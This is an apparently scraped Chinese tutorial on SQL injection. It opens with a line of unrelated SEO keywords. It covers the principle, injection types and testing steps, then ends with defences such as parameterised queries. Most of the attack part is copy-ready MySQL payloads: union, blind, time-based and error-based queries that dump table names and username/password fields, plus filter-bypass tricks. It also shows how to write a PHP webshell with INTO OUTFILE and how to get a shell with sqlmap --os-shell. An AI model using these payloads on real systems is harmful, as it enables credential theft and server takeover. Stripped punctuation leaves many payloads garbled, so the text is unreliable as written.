新站网站收录减少,在线图片加文字,公众号主要是干嘛的,学建站论坛#xff08;一#xff09;漏洞原理
1、 漏洞原理 SQL注入的原理是#xff0c;是应用系统没有对传递的参数进行过滤#xff0c;让参数直接拼接到SQL语句中#xff0c;攻击通过对参数进行篡改#xff0c;当参数传递到数据库中#xff0c;逻辑上就会发生变化#xff0c;就…一漏洞原理
1、 漏洞原理 SQL注入的原理是是应用系统没有对传递的参数进行过滤让参数直接拼接到SQL语句中攻击通过对参数进行篡改当参数传递到数据库中逻辑上就会发生变化就产生新SQL语句造成一些不好后果 2、案例讲解
假如某业务查询功能一般实现过程是后端接受参数带入查询语句中再把查询内容返回前端这是语句的实现
$userID $_POST[userID]; $sql SELECT * FROM users WHERE userID $userID; 攻击者通过拦截到userID参数对其植入恶意代码userID OR 1 1 -- 最终SQL语句变成 SELECT * FROM users WHERE userID OR 1 1 -- 这条 SQL 语句查询出了 users 表中的所有数据因为 OR 11 永远为真。攻击者可以进一步利用这个漏洞来获取更多的数据或执行其他操作甚至删除数据表 所以我认为SQL漏洞的本质就是想进方法向参数中注入恶意代码当参数传递到数据库中SQL语句就发生了变化执行之后就会产生SQL注入漏洞。
二漏洞分类
1、按照请求类型分类 GET型通过修改URL中的参数值来注入恶意SQL语句。POST型通过修改POST请求中的参数值来注入恶意SQL语句Cookie注入型在请求头的Cookie参数中注入恶意的SQL语句 2、按照字符类型分类 数字型攻击者试图将SQL代码注入到数字型的数据字段中。通常在后面加入测试语句and 11字符型将SQL代码注入到字符型的数据字段中通常在后面加入测试语句’or 11 3、按照测试方法测试 报错这是基于应用程序在处理错误时返回详细信息的漏洞通过构造恶意的SQL语句来触发应用程序产生错误并从错误信息中获取敏感数据或执行其他恶意操作延时这是一种利用在响应时间上的差异来判断漏洞的攻击方法通过构造恶意的SQL语句利用数据库管理系统的延时函数来判断查询是否成功执行并据此推测SQL注入漏洞的存在利用sleep()或benchmark()等函数让mysql执行时间变长盲注型攻击者无法直接从响应中获取有关注入结果的详细信息然后通过构造特定的SQL语句利用在不同条件下的响应差异来推断查询的结果常用构建盲注函数substr()、Left、ORD()布尔型在响应中的布尔条件语句的结果来判断查询是否成功执行的一种攻击方法。通过构造恶意的SQL语句并观察应用程序的响应来推断SQL查询的结果结果根据false和true不返回数据库数据 三基本测试方法
1、SQL注入常出现位置 只要需要带入到数据库中的参数有可能存在SQL注入常见位置如下 用户输入表单用户可以通过网站的表单如搜索框、注册表单、登录表单等提交数据给服务器 URL参数URL参数是传递给应用程序的一种常见方式产生url参数有两个来源一是get请求会生成url参数还有一个是隐藏的参数网站使用隐藏字段来存储数据这些字段可以在表单提交时自动包含在请求中。Cookiescookies本身不会发生sql注入可能会引发sql注入是因为cookie是网络中识别用户身份的特殊文本当开发人员在使用Cookie中存储的数据时如果未进行适当的数据验证和处理从而直接将Cookie数据用于SQL查询就可能导致SQL注入漏洞的发生HTTP头信息攻击者通过修改HTTP请求的头部信息中的值来注入恶意的SQL语句UserAgent、Referer等这些自动生成并发送给服务器的头信息本身不会导致sql注入在某些情况下攻击者可能会尝试使用特殊字符来触发应用程序中的漏洞 2、基本测试过程如下 第一步找注入点在参数后面加入单引号等特殊字符查看是否引起报错或是修改参数的值观察对输入是否过滤和转义 第二步找回显点没有回显测试盲注和延时。前面尝试通过加入特殊字符或者修改值引起报错如果有报错信息就测试抱错型SQL注入没有则测试盲注和延时注入 第三步写poc根据测试结果编写利用该漏洞的 POC常见的通用payload如下(基于MySQL): 爆破数据库group_concat(schema_name) from information_schema.schemata 爆破数据表group_concat(table_name) from information_schema.columns where table_schemadatabase() 爆破字段group_concat(column_name) from information_schema.columns where table_name表名 爆破字段内容group_concat(username,0x7e,password) from 表名 3、报错型SQL注入 第一步查找引起报错的特殊字符一般是单引号或者双引号: ?id1 或 ?id1 第二步判断字段个数?id1 and 11 order by N -- N从1开始测试出现报错的时候说明有N-1个 第三步找回显点返回报错信息的地方就是回显点但有时候没有那就需要自己寻找常见方法 union select 1,2,3...N-- 其中N是字段个数 第四步找注入点 ?id -1 union select 1,2,3-- 中 23都是注入点 第五步爆破数据库 ?id -1 union select 1,2,database()-- 找到注入点之后就是把上面的payload换到注入点中下面678步骤也一样的 第六步爆破数据表?id -1 union select 1,2,(group_concat(table_name) from information_schema.columns where table_schemadatabase())-- 第七步爆破字段?id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_name数据表 -- 第八步爆破字段内容?id-1 union select 1,2, group_concat(username,0x7e,password) from 数据表 -- 4、盲注型SQL注入 当没有特殊符号没有回显的时候就测试盲注盲注可以分为布尔盲注和延时盲注 布尔盲注是语句中采用了if语句判断条件为真则回显内容接着布尔环境下来判断是否执行成功执行就是存在SQL注入漏洞延时盲注是借助延时函数来判断是否执行如果延时执行则说明存在SQL注入 区别是就是注入点构造不同 1、布尔盲注 ?id1 成功执行内容消失 ?id1 and 11 -- 成功执行内容显示 ?id1 and 12 -- 成功执行内容消失 第一步找注入点经过测试找到?id1 or 11 其中11就是注入点表达式为true 第二步判断数据库长度?id1 or length(database())8 -- 如果数据库长度为8 条件就为true就会显示内容从1开始慢慢测试database()是查询当前数据库换成查询数据表则可以判断数据表长度 第三步爆破数据库 猜测第一个字母?id1 or ascii(substr(database(),1,1)) 115-- //115是s的ascii编号 猜测第二个字母?id1 or ascii(substr(database(),2,1)) 第四步猜测数据表长度?id1 and (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1)))6 -- limit 0,1表示第一个表 limit 1,1表示第二个表 第五步爆破数据表和猜测数据库一样 ?id1 or ascii(substr(((select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),1,1)) 115 第六步爆破字段长度 第七步爆破字段内容 2、延时盲注 ?id1 正常响应 ?id1 and sleep(5) -- 明显延长5秒中显示 第一步爆破数据库长度?id1 and if(length(database())8,sleep(5),0) 第二步爆破数据库?id1 and if(ascii(mid(database(),1,1))135,sleep(5),0) -- 从第一个字母爆破开始逐渐爆破 第三步爆破数据表长度 第四步爆破数据表 第五步爆破字段个数 第六步爆破字段 盲注需要用到的函数extractvalue、updatexml、floor 1、extractvalue函数用于从 XML 类型的数据中提取指定节点的值 extractvalue(xml_document, xpath_expression) 爆破数据库?id-1 and extractvalue(1,concat(0x7e,database(),0x7e)) -- database是注入点只需要把查询更换就可以查询数据表或字段 爆破数据表?id-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schemadatabase()),0x7e)) -- 2、updatexml函数用于在 XML 类型的数据中更新或插入某个节点 updatexml(xml_document, xpath_expression, new_value) 爆破数据库?id-1 and updatexml(1,concat(0x7e,database(),0x7e),1) -- database是注入点只需要把查询更换就可以查询数据表或字段 爆破数据表?id-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schemadatabase()),0x7e),1) -- 3、foolr函数 爆破数据库?id-1 union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x -- database是注入点只需要把查询更换就可以查询数据表或字段 爆破数据表?id-1 union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schemadatabase()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x -- 5、HTTP头注入 HTTP 头部注入攻击和 SQL 注入攻击是其实两个不同的概念但是有时候HTTP 头部注入攻击有时候会直接导致 SQL 注入攻击这是因为系统需要接受这些头部参数来是识别一些信息然后又没有做合适的过滤导致攻击者可以在http头部参数注入恶意代码最终导致sql注入 常见的HTTP头部注入 UA 注入 User-Agent 头中引起sql注入Host 注入Host中引起sql注入Referer 注入Referer 头引起sql注入XFF注入在X-Forwarded-For头引起sql注入cookie注入在cookie的引起sql注入 此外其他一些HTTP头都有可能存在SQL注入 6、堆叠注入 第一步判断堆叠注入直接在sql语句中加上分号在写一个sql语句看是否成功执行 第二步直接查询像上面一样先查询数据库其次数据表字段字段内容 7、宽字节注入 第一步判断宽字节注入在参数后加入%df等查看是否成功执行比如引发报错等 第二步和上面一样先查询数据库其次数据表字段字段内容 8、二次注入 二次注入已存储数据库、文件的用户输入被读取后再次进入到 SQL 查询语句中导致的注入 四进阶测试方法
进阶测试方法是目标网站有防御措施的情况下进行测试的方法
1、针对过滤的绕过方法 过滤空格注释符/**/绕过、编码url、ascii绕过、浮点数绕过、Tab替代空格、两个空格替代一个空格、括号绕过、Emoji绕过、回车代替空格--%0a代替空格过滤引号使用16进制绕过过滤逗号from关键字绕过、join关键字绕过、like关键字绕过、offset关键字绕过substr(),mid(),limit函数绕过过滤注释符# --手动闭合引号不使用注释符过滤比较符号 和 使用greatest()、least函数绕过、使用between and绕过过滤等号 使用like 、rlike 、regexp过滤、 使用或过滤过滤or and xor not使用符号代替and or|| xor| not!过滤unionselectwhere等关键字使用注释符绕过、使用大小写绕过、使用内联注释绕过、双关键字绕过、加号拆解字符串绕过、语法新特性绕过屏蔽、分割关键字绕过、编码绕过 2、针对次数限制的绕过方法 延时注入设置延时时间 五利用方式 获取后台数据库中存放的目标的隐私信息并进一步利用这些信息渗透拓展 对目标网站挂马进一步有针对性地开展钓鱼攻击 获取后台应用系统的控制权限进一步控制后台服务器 方式一通过SQL注入写入文件获取webshell SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/webshell.php
将恶意代码写入webshell文件。
攻击者可以通过访问webshell文件并提供系统命令参数来控制服务器
指定目标服务器上可访问的路径和文件名确保写入的webshell文件能够被访问到方式二通过这个SQLMAP的这个 --os-cmd这种参数来进行webshll
sqlmap -u http://target.com/vuln.php?id1 --os-cmdls -la /var/www/html/webshell.txt
使用–os-cmd参数执行操作系统命令并将结果输出到webshell文件
在注入成功后可以通过浏览器或其他工具访问webshell文件获取对服务器的控制权方式三就是--os-shell的方式来进行写webshell sqlmap -u http://target.com/vuln.php?id1 --os-shell
使用–os-shell参数与目标服务器建立交互式的shell连接
成功建立shell连接后可以执行各种命令、浏览目录、上传和下载文件等操作从而控制服务器 六防御方法 参数化查询接口因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变保持一个原始的一个查询意思简单的说 参数化能防注入的原因在于,语句是语句参数是参数参数的值并不是语句的一部分数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的 对所有的用户输入进行严格的验证和过滤对关键字或者特殊字符确保输入数据符合预期的格式和类型关键字and、or、select、declare、update、xp_cmdshell特殊字符’、”、 配置额外的配置避免打印SQL的一些错误消息出来 限制数据库用户的权限确保数据库用户只能执行必要的操作并限制其对数据库结构的访问权限